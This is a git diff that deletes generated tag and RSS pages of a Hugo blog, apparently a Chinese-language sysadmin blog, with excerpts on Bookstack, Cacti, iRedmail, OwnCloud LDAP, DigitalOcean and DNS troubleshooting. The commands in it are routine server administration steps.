b/themes/public/tags/bookstack/index.html deleted file mode 100644 index fca9308e..00000000 --- a/themes/public/tags/bookstack/index.html +++ /dev/null @@ -1,390 +0,0 @@ - - - - - - - - - - Bookstack | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    Bookstack Docker

    -
    - - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    Bookstack 是一套非常好用的線上”筆記”系統

    - -

    他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

    - -

    同時在圖書館內建立不同的”書籍”

    - -

    而且支援 Markdown 語法

    - -

    其他的方式像是在nextcloud上編輯 md檔案(字體太小)

    - -

    或者是boostnote(只能在本機)

    - -

    都或多或少有點小缺點

    - -

    Bookstack則是沒有這些問題,不過就是系統「大」了點…

    - -

    不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/bookstack/index.xml b/themes/public/tags/bookstack/index.xml deleted file mode 100644 index 19f22e34..00000000 --- a/themes/public/tags/bookstack/index.xml +++ /dev/null @@ -1,41 +0,0 @@ - - - - Bookstack on MC部落 - https://h.cowbay.org/tags/bookstack/ - Recent content in Bookstack on MC部落 - Hugo -- gohugo.io - Tue, 06 Nov 2018 14:57:14 +0800 - - - - - - Bookstack Docker - https://h.cowbay.org/post/bookstack-docker/ - Tue, 06 Nov 2018 14:57:14 +0800 - - https://h.cowbay.org/post/bookstack-docker/ - <p>Bookstack 是一套非常好用的線上&rdquo;筆記&rdquo;系統</p> - -<p>他用圖書館/書本的概念,讓使用者可以建立自己的&rdquo;圖書館&rdquo;</p> - -<p>同時在圖書館內建立不同的&rdquo;書籍&rdquo;</p> - -<p>而且支援 Markdown 語法</p> - -<p>其他的方式像是在nextcloud上編輯 md檔案(字體太小)</p> - -<p>或者是boostnote(只能在本機)</p> - -<p>都或多或少有點小缺點</p> - -<p>Bookstack則是沒有這些問題,不過就是系統「大」了點&hellip;</p> - -<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/tags/cacti/index.html b/themes/public/tags/cacti/index.html deleted file mode 100644 index cbb9327a..00000000 --- a/themes/public/tags/cacti/index.html +++ /dev/null @@ -1,412 +0,0 @@ - - - - - - - - - - Cacti | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] CentOS 6.6 + CACTI 0.8.8b

    -
    - - - 2015-06-09 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    這幾天弄了一台香港的VPS 想說看看對看影片有沒有幫助

    - -

    VPN 設定好之後,想看看在看影片時,流量可以到多少

    - -

    之前就有用過cacti ,感覺還不錯,裝起來也很容易,就想說來裝裝看

    - -

    沒想到在 centos 6.6 上安裝碰到一堆問題….

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/cacti/page/1/index.html b/themes/public/tags/cacti/page/1/index.html deleted file mode 100644 index bb167bc6..00000000 --- a/themes/public/tags/cacti/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/cacti/ \ No newline at end of file diff --git a/themes/public/tags/centos-iredmail-postfix-postfixadmin-virtual-domain/index.html b/themes/public/tags/centos-iredmail-postfix-postfixadmin-virtual-domain/index.html deleted file mode 100644 index b161d1ea..00000000 --- a/themes/public/tags/centos-iredmail-postfix-postfixadmin-virtual-domain/index.html +++ /dev/null @@ -1,423 +0,0 @@ - - - - - - - - - - Centos Iredmail Postfix Postfixadmin Virtual Domain | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] CentOS 6.6 + iRedmail 0.9.4 + postfixadmin 安裝筆記

    -
    - - - 2016-01-27 - - - - - - - - - 未分類 - - - - - -
    - - - 系統基礎設定 -Clone from a fresh new install CentOS 6.6 in vmware -power on -新增DNS 伺服器 -vi /etc/resolv.conf -刪除內容 新增以下資料 -nameserver 168.95.1.1 -nameserver 8.8.8.8 -nameserver 8.8.4.4 -啟動網路卡 -cp /etc/sysconfig/network-scripts/ifcfg-eth2 /etc/sysconfig/network-scripts/ifcfg-eth3 -vi /etc/sysconfig/network-scripts -刪除 MAC -修改底下的設定 -BOOTPROTO=static IPADDR=192.168.10.220 NETMASK=255.255.255.0 -vi /etc/sysconfig/network -NETWORKING=yes HOSTNAME=iredmail GATEWAY=192.168.10.246 -service network restart -修改時區 -yum install ntpdate –y -cp /usr/share/zoneinfo/Asia/Taipei /etc/localtime -ntpdate 192.168.10.243 -reboot (讓hostname 生效) -登入 -安裝基本指定 -yum install –y wget telnet vim ftp epel-release bind-utils - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/centos-iredmail-postfix-postfixadmin-virtual-domain/page/1/index.html b/themes/public/tags/centos-iredmail-postfix-postfixadmin-virtual-domain/page/1/index.html deleted file mode 100644 index 2d1f4e9d..00000000 --- a/themes/public/tags/centos-iredmail-postfix-postfixadmin-virtual-domain/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/centos-iredmail-postfix-postfixadmin-virtual-domain/ \ No newline at end of file diff --git a/themes/public/tags/centos/index.html b/themes/public/tags/centos/index.html deleted file mode 100644 index 5388d433..00000000 --- a/themes/public/tags/centos/index.html +++ /dev/null @@ -1,501 +0,0 @@ - - - - - - - - - - Centos | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] CentOS 6.6 + CACTI 0.8.8b

    -
    - - - 2015-06-09 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    這幾天弄了一台香港的VPS 想說看看對看影片有沒有幫助

    - -

    VPN 設定好之後,想看看在看影片時,流量可以到多少

    - -

    之前就有用過cacti ,感覺還不錯,裝起來也很容易,就想說來裝裝看

    - -

    沒想到在 centos 6.6 上安裝碰到一堆問題….

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記]在KVM VPS上透過 fuse-sshfs + pdumpfs 做wordpress異地備援

    -
    - - - 2013-03-22 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為之前手賤,把原有的BLOG的資料檔都砍光光,雖然文章內容都還留著,但是圖片都變成叉燒包了 Too Sad

    - -

    不過換到新的WP之後,發現多了好多布景主題可以用,現在用的這個我就覺得很棒!Big Smile

    - -

    也為了要避免再次發生之前手殘的錯誤,所以一直在找一些異地備援的方式。

    - -

    Wordpress本身的外掛雖然有很多號稱可以透過FTP之類的方式把備份檔案丟去其他地方

    - -

    但測試了幾個之後,發現要不就是沒有定時的功能,要不就是要額外收費。

    - -

    想來想去,還是乾脆自己在console下備份比較能掌握。

    - -

    之前有玩過lsync,這次改用另外一招 sshfs + pdumpfs 來作作看

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/centos7/index.html b/themes/public/tags/centos7/index.html deleted file mode 100644 index b7dd8b22..00000000 --- a/themes/public/tags/centos7/index.html +++ /dev/null @@ -1,423 +0,0 @@ - - - - - - - - - - Centos7 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] CentOS 7+OwnCloud+LDAP+AD 認證設定

    -
    - - - 2015-01-05 - - - - - - - - - 工作筆記 - - - - - -
    - - - 今年的工作,列了一項建立公司內部私有雲的計畫,之前就有玩過免費的 OwnCloud ,這次拿來在公司環境試試看。 -底下簡單描述操作的步驟 -CentOS 7+OwnCloud+LDAP+AD 認證設定   -安裝 CentOS 7 下載ISO http://www.centos.org/download/ -把ISO丟上 esxi ,開一台新的 VM -配置大概如下,很簡單,想說主機上的RAM還有多,就配4G給這台 - -如果選最小安裝,會碰到很多指令不支援的問題,要一個個手動裝回來,這點要特別注意。 -另外,我的習慣是會關閉 SELINUX,另外設定 iptables ,這部分就看個人。 -為了之後要把Google Drive 拿來當作外部儲存空間用,所以之後都要用 hostname連線 -記得要修改DNS對應,如果用IP連線,Google Drive 的API 不接受! 安裝 OwnCloud CentOS 安裝好了之後,參考底下頭城國小資訊組的文章 PS 我雖說是礁溪人,不過老家親戚大部分都在頭城!硬要牽關係這樣 參考 http://blog.ilc.edu.tw/blog/blog/25793/post/79900/512903 -資料儲存空間要修改成自己機器上的路徑 -啟用 OwnCloud 的 LDAP 進入 OwnCloud 後,在左上角的雲的旁邊有個下拉選單,裡面有個應用程式,點進去 -P.S 不知道為什麼,進入應用程式要等很久,是VM不給力?還是給雙核CPU太少? -之前在另一台FreeBSD的實體機上測試,也會有這個問題.. -Update 2015/01/06 -早上翻了一堆 owncloud 論壇的文章,管理介面緩慢的問題滿多人碰到的 -有說是DNS 解析的問題,有說是進入 admin 介面時,會去檢查一些像是系統更新、網際網路連線能力之類,所以會跑比較久。 -有跟著說明修改了一些config裡面的值,「感覺」似乎有變快.. -  - -進入應用程式後,啟用 LDAP user and group backend , - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/centos7/page/1/index.html b/themes/public/tags/centos7/page/1/index.html deleted file mode 100644 index 1584954e..00000000 --- a/themes/public/tags/centos7/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/centos7/ \ No newline at end of file diff --git a/themes/public/tags/command/page/1/index.html b/themes/public/tags/command/page/1/index.html deleted file mode 100644 index 2249e0b3..00000000 --- a/themes/public/tags/command/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/command/ \ No newline at end of file diff --git a/themes/public/tags/digitalocean/index.html b/themes/public/tags/digitalocean/index.html deleted file mode 100644 index dd978e4d..00000000 --- a/themes/public/tags/digitalocean/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - Digitalocean | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [VPS] DigitalOcean VPS的下載速度很慢???

    -
    - - - 2015-01-15 - - - - - - - - - 筆記 - - - - - -
    - - - 今天早上收到 DigitalOcean 寄來的信件,說 開始支援FreeBSD了 -之前就注意這家廠商很久了,居然支援 FreeBSD !太酷了!有很多國外的VPS都不能跑FreeBSD的 -而且一個月也大概就是 10美元,跟我現有的VPS差不多,機房有新加坡可以選,所以馬上就申請了一台來玩玩看。 -安裝的過程就不多提,主要是我想從現在這個網站把 Wordpress 的備份檔案丟過去作restore -可是下載速度很慢,大概只有2xx KB ! -下面圖片可以看到,前面是 在我的電腦上,用FileZilla 抓檔案,後面是在 DigitalOcean 的機器上直接透過 ftp 指令抓檔 -FileZilla 速度有 1.2M ,DigitalOcean 那邊則是只有 250KB 左右.. - -我記得這機器的規格是共享 1G的線路,這狀況明顯不正常,所以我發信給客服,不意外的,客服回覆還是官方說法 -我們沒有限速!下載速度受到很多因素影響之類的廢話! > There isn’t any bandwidth limitation, however there are many factors that can impact throughput including the route of the data between hosts and the network utilization of the physical hosts involved 實在很不爽,又發了一封信跟它們說 traceroute 的結果,從 DigitalOcean的機器 trace到這台機器只要14個節點 - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/digitalocean/page/1/index.html b/themes/public/tags/digitalocean/page/1/index.html deleted file mode 100644 index bd0837af..00000000 --- a/themes/public/tags/digitalocean/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/digitalocean/ \ No newline at end of file diff --git a/themes/public/tags/discord/index.html b/themes/public/tags/discord/index.html deleted file mode 100644 index a5173c99..00000000 --- a/themes/public/tags/discord/index.html +++ /dev/null @@ -1,418 +0,0 @@ - - - - - - - - - - Discord | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    Support and Discussions

    -
    - - - 2017-11-01 - - - - - - - - - Lednerb - -
    - - -

    Hey there!

    - -

    This Premium Theme is published under an open source license so you can use it for your blog. It took me more than 75 hours of work to create one of the best Hugo themes out there.

    - -

    If you enjoy this theme and want to stay informed about the latest releases and features or want to say thanks and discuss with other users, join our Discord server:

    - -

    Discord

    - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/discord/index.xml b/themes/public/tags/discord/index.xml deleted file mode 100644 index 8400f2fa..00000000 --- a/themes/public/tags/discord/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Discord on My cool new Blog - https://h.cowbay.org/tags/discord/ - Recent content in Discord on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:10:14 +0100 - - - - - - Support and Discussions - https://h.cowbay.org/article/support-and-discussions/ - Wed, 01 Nov 2017 18:10:14 +0100 - - https://h.cowbay.org/article/support-and-discussions/ - Hey there! -This Premium Theme is published under an open source license so you can use it for your blog. It took me more than 75 hours of work to create one of the best Hugo themes out there. -If you enjoy this theme and want to stay informed about the latest releases and features or want to say thanks and discuss with other users, join our Discord server: - - - - \ No newline at end of file diff --git a/themes/public/tags/discord/page/1/index.html b/themes/public/tags/discord/page/1/index.html deleted file mode 100644 index d9908a2f..00000000 --- a/themes/public/tags/discord/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/discord/ \ No newline at end of file diff --git a/themes/public/tags/disk/page/1/index.html b/themes/public/tags/disk/page/1/index.html deleted file mode 100644 index 18882bad..00000000 --- a/themes/public/tags/disk/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/disk/ \ No newline at end of file diff --git a/themes/public/tags/ditigalocean/index.html b/themes/public/tags/ditigalocean/index.html deleted file mode 100644 index b6fe6b3c..00000000 --- a/themes/public/tags/ditigalocean/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - Ditigalocean | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [VPS] DigitalOcean VPS的下載速度很慢???

    -
    - - - 2015-01-15 - - - - - - - - - 未分類 - - - - - -
    - - - 今天早上收到 DigitalOcean 寄來的信件,說 開始支援FreeBSD了 -之前就注意這家廠商很久了,居然支援 FreeBSD !太酷了!有很多國外的VPS都不能跑FreeBSD的 -而且一個月也大概就是 10美元,跟我現有的VPS差不多,機房有新加坡可以選,所以馬上就申請了一台來玩玩看。 -安裝的過程就不多提,主要是我想從現在這個網站把 Wordpress 的備份檔案丟過去作restore -可是下載速度很慢,大概只有2xx KB ! -下面圖片可以看到,前面是 在我的電腦上,用FileZilla 抓檔案,後面是在 DigitalOcean 的機器上直接透過 ftp 指令抓檔 -FileZilla 速度有 1.2M ,DigitalOcean 那邊則是只有 250KB 左右.. - -我記得這機器的規格是共享 1G的線路,這狀況明顯不正常,所以我發信給客服,不意外的,客服回覆還是官方說法 -我們沒有限速!下載速度受到很多因素影響之類的廢話! > There isn’t any bandwidth limitation, however there are many factors that can impact throughput including the route of the data between hosts and the network utilization of the physical hosts involved 實在很不爽,又發了一封信跟它們說 traceroute 的結果,從 DigitalOcean的機器 trace到這台機器只要14個節點 - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/ditigalocean/page/1/index.html b/themes/public/tags/ditigalocean/page/1/index.html deleted file mode 100644 index 5580af11..00000000 --- a/themes/public/tags/ditigalocean/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/ditigalocean/ \ No newline at end of file diff --git a/themes/public/tags/django/index.html b/themes/public/tags/django/index.html deleted file mode 100644 index 89e9326e..00000000 --- a/themes/public/tags/django/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - Django | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    Testing "django-netjsonconfig"

    -
    - - - 2018-01-14 - - - - - - - - - programming - - - - - -
    - - - A task came up in Google Code-in which asked me to install the django-netjsonconfig module by OpenWISP. Furthermore, I’m also supposed to share the challenges I faced during the set-up process as a sort of feedback. I’ll be trying be concise in this post so, without further ado, I’m beginning with this post. -Installing “django-netjsonconfig” The installation instructions for this this module have been well-documented on its GitHub repository. So I began the installation by creating a Python 2. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/django/page/1/index.html b/themes/public/tags/django/page/1/index.html deleted file mode 100644 index 8ba68fc8..00000000 --- a/themes/public/tags/django/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/django/ \ No newline at end of file diff --git a/themes/public/tags/dns/index.html b/themes/public/tags/dns/index.html deleted file mode 100644 index 99713d98..00000000 --- a/themes/public/tags/dns/index.html +++ /dev/null @@ -1,453 +0,0 @@ - - - - - - - - - - Dns | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    雜念-網路中文 Net-chinese 的DNS 服務更新好慢啊!

    -
    - - - 2017-07-25 - - - - - - - - -
    - - - 昨天因為要測試 Nginx Reverse Proxy的功能,所以去網路中文修改了手邊幾個不同網域的DNS -申請時間大概是昨天早上十點多吧,結果昨天晚上看,沒有生效。今天早上一早來看,還是沒有生效,到底是要多久啊! - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    雜念-網路中文 Net-chinese 的DNS 服務有問題

    -
    - - - 2017-07-07 - - - - - - - - -
    - - - 昨天為了要測試Nginx Reverse Proxy 去網路中文改了dns,今天發現都過一天了還沒有更新。 -然後昨天有user反應寄給廠商的信件被退信,退信原因是 550 Sender verify failed 本來想說應該是對方email Server的問題。 但是今天早上換成另外一家廠商的信件因為這原因被退信,一次有可能是誤會,連續兩三次,就有鬼了。 -於是開始檢查相關的設定,一開始先想到是postfix,但是我沒有更改postfix的任何設定,這兩天只有去網路中文的dns設定新增兩筆、修改一筆DNS的 A Record,而且還沒生效,懷疑是不是這邊有問題。所以一筆一筆A Record查,查了幾個都ok,正想說大概不是這邊的問題了吧。結果就發現我的MX 指定的 A Record解不出來!?改用在日本的VPS去解也是一樣,果然就是這邊出狀況了。 -於是一筆一筆檢查,發現就是昨天新增修改的紀錄,還有這筆MX Record的指向有問題,馬上跟網路中文反應,客服小姐經過一番測試之後,說會跟工程師反應,然後聯絡我,經過大概一個小時之後,就可以正常解析了,不過我還是沒接到工程師的電話來解釋原因。 -就在打這篇的同時,網路中文的客服打電話來通知正常了,但是也不知道為什麼會有這問題,我請她轉告工程師,告訴我原因,再來等看看會不會有答案好了。 -##更新 -以下是客服來信內容 -您好: 工程師回應: 不是 pam 因為被設定成系統字,所以設定下去後,剛好紀錄順序排在 nopam 下面的 scm wm 都會不回應。 謝謝 - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/dns/page/1/index.html b/themes/public/tags/dns/page/1/index.html deleted file mode 100644 index f2f21856..00000000 --- a/themes/public/tags/dns/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/dns/ \ No newline at end of file diff --git a/themes/public/tags/docker/index.html b/themes/public/tags/docker/index.html deleted file mode 100644 index d9ab53e2..00000000 --- a/themes/public/tags/docker/index.html +++ /dev/null @@ -1,390 +0,0 @@ - - - - - - - - - - Docker | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    Bookstack Docker

    -
    - - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    Bookstack 是一套非常好用的線上”筆記”系統

    - -

    他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

    - -

    同時在圖書館內建立不同的”書籍”

    - -

    而且支援 Markdown 語法

    - -

    其他的方式像是在nextcloud上編輯 md檔案(字體太小)

    - -

    或者是boostnote(只能在本機)

    - -

    都或多或少有點小缺點

    - -

    Bookstack則是沒有這些問題,不過就是系統「大」了點…

    - -

    不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/docker/index.xml b/themes/public/tags/docker/index.xml deleted file mode 100644 index 818215ba..00000000 --- a/themes/public/tags/docker/index.xml +++ /dev/null @@ -1,41 +0,0 @@ - - - - Docker on MC部落 - https://h.cowbay.org/tags/docker/ - Recent content in Docker on MC部落 - Hugo -- gohugo.io - Tue, 06 Nov 2018 14:57:14 +0800 - - - - - - Bookstack Docker - https://h.cowbay.org/post/bookstack-docker/ - Tue, 06 Nov 2018 14:57:14 +0800 - - https://h.cowbay.org/post/bookstack-docker/ - <p>Bookstack 是一套非常好用的線上&rdquo;筆記&rdquo;系統</p> - -<p>他用圖書館/書本的概念,讓使用者可以建立自己的&rdquo;圖書館&rdquo;</p> - -<p>同時在圖書館內建立不同的&rdquo;書籍&rdquo;</p> - -<p>而且支援 Markdown 語法</p> - -<p>其他的方式像是在nextcloud上編輯 md檔案(字體太小)</p> - -<p>或者是boostnote(只能在本機)</p> - -<p>都或多或少有點小缺點</p> - -<p>Bookstack則是沒有這些問題,不過就是系統「大」了點&hellip;</p> - -<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/tags/du/index.html b/themes/public/tags/du/index.html deleted file mode 100644 index 350bbdd0..00000000 --- a/themes/public/tags/du/index.html +++ /dev/null @@ -1,377 +0,0 @@ - - - - - - - - - - Du | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    Nice Du Report Tool Durep

    -
    - - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在重新規劃前人留下的backup爛攤子 -各個伺服器統一備份到一台backup storage -想說如果每天能夠看到backup storage的磁碟用量的話 -就可以抓出備份空間成長速度、推估需要多大的磁碟空間 -找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 -基本上可以滿足我的需求

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/du/index.xml b/themes/public/tags/du/index.xml deleted file mode 100644 index 61aa5c1a..00000000 --- a/themes/public/tags/du/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - - - Du on MC部落 - https://h.cowbay.org/tags/du/ - Recent content in Du on MC部落 - Hugo -- gohugo.io - Tue, 06 Nov 2018 15:24:29 +0800 - - - - - - Nice Du Report Tool Durep - https://h.cowbay.org/post/nice-du-report-tool-durep/ - Tue, 06 Nov 2018 15:24:29 +0800 - - https://h.cowbay.org/post/nice-du-report-tool-durep/ - <p>最近在重新規劃前人留下的backup爛攤子 -各個伺服器統一備份到一台backup storage -想說如果每天能夠看到backup storage的磁碟用量的話 -就可以抓出備份空間成長速度、推估需要多大的磁碟空間 -找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 -基本上可以滿足我的需求</p> - - - - \ No newline at end of file diff --git a/themes/public/tags/eilean-donan-castle/index.html b/themes/public/tags/eilean-donan-castle/index.html deleted file mode 100644 index 420757bb..00000000 --- a/themes/public/tags/eilean-donan-castle/index.html +++ /dev/null @@ -1,426 +0,0 @@ - - - - - - - - - - Eilean Donan Castle | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/eilean-donan-castle/index.xml b/themes/public/tags/eilean-donan-castle/index.xml deleted file mode 100644 index 5941c36d..00000000 --- a/themes/public/tags/eilean-donan-castle/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - Eilean Donan Castle on My cool new Blog - https://h.cowbay.org/tags/eilean-donan-castle/ - Recent content in Eilean Donan Castle on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:01:26 +0100 - - - - - - My Trip to Scotland - https://h.cowbay.org/gallery/my-trip-to-scotland/ - Wed, 01 Nov 2017 18:01:26 +0100 - - https://h.cowbay.org/gallery/my-trip-to-scotland/ - In June 2017 I&rsquo;ve visited Scotland with my best friend for two weeks. We drove a lot through the beautiful countryside and saw a lot of different animals: cattle, deer, birds, dolphins, and sheep. Sheep everywhere! -At one beautiful camping site, we saw cattle in fog in the very early morning and took a picture of it. The image now has the title &ldquo;Rindviehcher im Nebel&rdquo;, a quite funny German phrase that means cattle in the fog. - - - - \ No newline at end of file diff --git a/themes/public/tags/eilean-donan-castle/page/1/index.html b/themes/public/tags/eilean-donan-castle/page/1/index.html deleted file mode 100644 index 7e4e1c74..00000000 --- a/themes/public/tags/eilean-donan-castle/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/eilean-donan-castle/ \ No newline at end of file diff --git a/themes/public/tags/english/page/1/index.html b/themes/public/tags/english/page/1/index.html deleted file mode 100644 index 2b10c12f..00000000 --- a/themes/public/tags/english/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/english/ \ No newline at end of file diff --git a/themes/public/tags/fcitx/page/1/index.html b/themes/public/tags/fcitx/page/1/index.html deleted file mode 100644 index 566ef494..00000000 --- a/themes/public/tags/fcitx/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/fcitx/ \ No newline at end of file diff --git a/themes/public/tags/find/index.html b/themes/public/tags/find/index.html deleted file mode 100644 index 626a77b5..00000000 --- a/themes/public/tags/find/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - Find | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] 利用find/grep/xargs 在目錄中找出所有包含特定字串的檔案路徑

    -
    - - - 2013-11-14 - - - - - - - - - 工作筆記 - - - - - -
